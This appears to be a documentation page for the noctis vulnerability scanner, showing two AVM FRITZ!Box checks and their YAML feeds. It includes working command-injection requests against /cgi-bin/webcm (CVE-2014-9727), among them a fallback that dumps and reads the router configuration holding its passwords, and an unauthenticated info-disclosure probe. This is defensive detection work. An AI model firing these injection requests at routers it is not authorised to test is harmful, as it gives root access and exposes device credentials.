FRITZ!Box — 2 vulnerability checks

noctis ships 2 vulnerability checks for FRITZ!Box, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AVM FRITZ!Box webcm 'var:lang' Remote Command Injection

CVECVE-2014-9727
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/fritzbox/CVE-2014-9727.yaml

The /cgi-bin/webcm CGI of AVM FRITZ!Box firmware before the February 2014 updates passes the var:lang parameter to a shell, letting an unauthenticated attacker run commands as root through shell metacharacters. The feed proves execution with an inert `echo NOCTIS$((A+B))` whose evaluated sum must come back, and falls back to exporting the configuration, reading it back with cat and removing it.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/webcm?var:lang=%26echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b}}%29%29 HTTP/1.0
  3. Checks ex.banner for NOCTIS[0-9]{6,7} → finding QoD 97: AVM FRITZ!Box webcm command injection confirmed: GET /cgi-bin/webcm?var:lang=&echo NOCTIS$((…+…)) returned the shell-computed marker …
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/webcm?var:lang=%26allcfgconv%20-C%20ar7%20-c%20-o%20/var/tmp/{{s.file}}%26%2…
  5. Checks cfg.banner for servercfg
  6. Checks cfg.banner for websrv
  7. Checks cfg.banner for webui[ \t]*\{
  8. Parses / computes the next value with a Rhai script
  9. Checks verdict for ^CONFIG_READ → finding QoD 75: AVM FRITZ!Box webcm command injection: var:lang=&allcfgconv -C ar7 -c -o /var/tmp/…&& cat /var/tmp/… returned the device configuration (ser…

References:

Feed source — tests/vulnerabilities/fritzbox/CVE-2014-9727.yaml
# AVM FRITZ!Box — /cgi-bin/webcm `var:lang` shell command injection
# CVE-2014-9727
#
# Firmware before the February 2014 fixes (FRITZ!OS 5.5x/6.0x/6.2x lines) puts
# the `var:lang` parameter of the unauthenticated /cgi-bin/webcm CGI into a
# shell command line. A value starting with `&` (URL %26) ends that command and
# runs the attacker's commands as root; their stdout is returned in the HTTP
# reply.
#
# Detection (real exploitation, benign):
#   1. var:lang=&echo NOCTIS$((<a>+<b>)) — a/b are per-run random integers.
#      Only a shell can produce NOCTIS<a+b>: the sum never appears in the
#      request, so a page that reflects var:lang (with or without stripping
#      `$`, `(`, `)`) cannot match → QoD 97, stop.
#   2. Fallback, the NASL's own proof (for a shell/web layer that does not
#      return the arithmetic marker): `allcfgconv -C ar7 -c -o /var/tmp/<rand>`
#      exports the configuration, `cat` returns it. The reply must carry the
#      ar7.cfg sections `servercfg` and `websrv` and a `webui {` block — strings
#      that are not in the request → QoD 75.
#
# Deviations from the NASL (improvements):
#   - Step 1 is new: a stronger, side-effect-free proof (no file written).
#   - Step 2 appends `&& rm -f /var/tmp/<rand>` so the exported configuration
#     (which holds the device passwords) does not stay in /var/tmp.
#   - The NASL matches `webui` as a plain substring; the feed requires the
#     `webui {` block opener that the NASL itself prints in its report.
#   - The configuration holds secrets: the match steps that read it keep only a
#     boolean (no capture of the config, no on_match on the raw reply), and the
#     evidence never quotes it.
#
# The request goes through `tcp_connect` so the %26 / %24%28%28 / %2B encodings
# reach the device byte-for-byte (no client-side URL normalisation).
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_avm_fritz_box_02_14_remote.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103912, GPL-2.0-only).
uid: d6f8e35a-3e9c-4019-9733-4d22b5e6fa42
name: "AVM FRITZ!Box webcm 'var:lang' Remote Command Injection (CVE-2014-9727)"
description: |
  The /cgi-bin/webcm CGI of AVM FRITZ!Box firmware before the February 2014 updates
  passes the var:lang parameter to a shell, letting an unauthenticated attacker run
  commands as root through shell metacharacters. The feed proves execution with an inert
  `echo NOCTIS$((A+B))` whose evaluated sum must come back, and falls back to exporting
  the configuration, reading it back with cat and removing it.
cves: [CVE-2014-9727]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [avm, fritzbox, router, webcm, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9727"
  - "https://www.exploit-db.com/exploits/33136"
  - "OpenVAS NASL 2014/gb_avm_fritz_box_02_14_remote.nasl (GPL-2.0-only)"

steps:
  # Per-run proof values and temp file name.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), file: "noctis" + rand_hex(6) }
    store_as: s

  # ── 1. Inert arithmetic proof ──────────────────────────────────────────────
  #   %26 = &   %20 = space   %24%28%28 = $((   %2B = +   %29%29 = ))
  - id: exec-echo
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /cgi-bin/webcm?var:lang=%26echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: ex
    on_failure:
      set_vars:
        ex: false

  - id: confirm-rce
    action: match
    source: ex.banner
    pattern: "NOCTIS[0-9]{6,7}"
    condition: "type_of(ex) == \"map\" && type_of(ex.banner) == \"string\" && stridx(ex.banner, s.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "AVM FRITZ!Box webcm command injection confirmed: GET /cgi-bin/webcm?var:lang=&echo NOCTIS$(({{s.a}}+{{s.b}})) returned the shell-computed marker {{s.marker}}"
      stop: true

  # ── 2. Fallback, the NASL's proof: export the config and read it back ─────
  - id: exec-cfg
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 15
    send: "GET /cgi-bin/webcm?var:lang=%26allcfgconv%20-C%20ar7%20-c%20-o%20/var/tmp/{{s.file}}%26%26%20cat%20/var/tmp/{{s.file}}%26%26%20rm%20-f%20/var/tmp/{{s.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: cfg
    on_failure:
      set_vars:
        cfg: false

  # Regex-only checks with no on_match and no capture: the config holds the
  # device passwords and must not reach the finding.
  - id: has-servercfg
    action: match
    source: cfg.banner
    pattern: "servercfg"
    condition: "type_of(cfg) == \"map\" && type_of(cfg.banner) == \"string\""
    store_as: m_srv

  - id: has-websrv
    action: match
    source: cfg.banner
    pattern: "websrv"
    condition: "type_of(cfg) == \"map\" && type_of(cfg.banner) == \"string\""
    store_as: m_web

  - id: has-webui-block
    action: match
    source: cfg.banner
    pattern: "webui[ \\t]*\\{"
    condition: "type_of(cfg) == \"map\" && type_of(cfg.banner) == \"string\""
    store_as: m_ui

  - id: cfg-verdict
    action: script
    code: |
      // m_* only exist when the match steps ran (same guard as theirs).
      if type_of(cfg) != "map" || type_of(cfg.banner) != "string" {
        ""
      } else if m_srv.matched == true && m_web.matched == true && m_ui.matched == true {
        "CONFIG_READ servercfg websrv webui"
      } else {
        ""
      }
    store_as: verdict

  - id: confirm-config-read
    action: match
    source: verdict
    pattern: "^CONFIG_READ "
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AVM FRITZ!Box webcm command injection: var:lang=&allcfgconv -C ar7 -c -o /var/tmp/{{s.file}}&& cat /var/tmp/{{s.file}} returned the device configuration (servercfg / websrv sections and a webui block; content withheld, it holds credentials); the temp file was removed with rm -f in the same request"
      stop: true

AVM FRITZ!Box juis_boxinfo.xml device information disclosure

CVECVE-2024-54767
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/fritzbox/CVE-2024-54767.yaml

Requests //juis_boxinfo.xml without credentials and reports when the FRITZ!Box returns its box information (model, firmware and update configuration).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET //juis_boxinfo.xml HTTP/1.0
  2. Checks resp.banner for UpdateConfig> → finding QoD 75: FRITZ!Box box-info disclosed without auth: …

References:

Feed source — tests/vulnerabilities/fritzbox/CVE-2024-54767.yaml
uid: cb02979f-f5e5-4e01-b4ce-f7037801d793
name: "CVE-2024-54767 — AVM FRITZ!Box juis_boxinfo.xml device information disclosure (CVSS 7.5)"
description: "Requests //juis_boxinfo.xml without credentials and reports when the FRITZ!Box returns its box information (model, firmware and update configuration)."
cves: [CVE-2024-54767]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.3
tags: [avm, fritzbox, info-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-54767"
  - "OpenVAS NASL 2025/avm/gb_fritz_box_info_discl_vuln_nov24_active.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2025/avm/gb_fritz_box_info_discl_vuln_nov24_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# Unauthenticated access to //juis_boxinfo.xml discloses device info.
# tcp_connect preserves the verbatim leading-// path (reqwest would normalise it).
steps:
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET //juis_boxinfo.xml HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "UpdateConfig>"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "FRITZ!Box box-info disclosed without auth: {{resp.banner}}"
      stop: true

View these feeds on GitHub